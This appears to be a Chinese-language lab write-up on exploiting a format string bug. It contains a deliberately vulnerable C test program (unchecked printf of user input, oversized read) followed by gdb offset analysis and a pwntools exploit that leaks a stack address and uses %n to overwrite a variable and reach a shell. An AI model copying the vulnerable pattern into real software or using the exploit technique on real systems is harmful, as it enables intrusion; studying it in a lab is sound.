1.测试源代码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int test1;
int init_func(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0,2 ,0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int dofunc(){
char buf1[0x10];
char buf2[0x10];
char buf3[0x10];
int test2 = 0;
int test3 = 0;
while(1){
puts("input:");
read(0, buf1, 0x100);
printf(buf1);
if(test3 == 100){
system("/bin/zsh");
}
}
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
2.运行测试程序
3.IDA静态分析
4.漏洞利用思路
第一次循环
- 利用格式化字符串泄露rbp的地址
- 根据rbp的地址计算出v1的地址
第二次循环
- 计算写入指针地址
- 使用%n在v1的地址上写入100
- 注意x64程序需要对齐,x86可以不用对齐
5.gdb调试
找到rsp地址
- 在程序输入时我们连续输入%p用来测试
- 等待程序打印结果
- 观察栈上rsp的位置
- 不难看出rsp是第6个%p打印出来的
找到rbp的地址
- 直接在栈上看,rbp就是第14个%p打印出来的
- 我们可以使用gdb测试一下
- 使用%14$p直接打印第14个地址上的内容
- 再看一下栈
- 事实证明都是一个内容
找到v1的地址
- 我们看到使用%p泄露的是rbp上的内容,而不是rbp本身的地址
- 所以计算v1的地址我们要知道rbp上的内容其实是下一个rbp的地址
- dec0是下一个rbp,与当前rbp相差0x10
- 看一下汇编代码
- 这个v1的地址就是[rbp-8]
- 所以经过泄露的地址加偏移
- 最终v1的地址应该是 leak_addr - 0x18
6.exp
- 再构造第二次payload时要注意对齐,补全16位
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
pwnfile = './fmt_test_2'
io = process(pwnfile)
payload_1 = b'%14$p'
io.recvline()
io.sendline(payload_1)
rbp_content = int(io.recv()[2:14], 16)
print("content is ", hex(rbp_content))
text3_addr = rbp_content - 0x18
print("text3_addr is ", hex(text3_addr))
payload_2 = b"%100c%12$naaaaaa" + p64(text3_addr)
payload_2_test = p64(text3_addr) + b"%100c%10$hhn"
io.send(payload_2)
gdb.attach(io)
pause()
io.interactive()
7.运行结果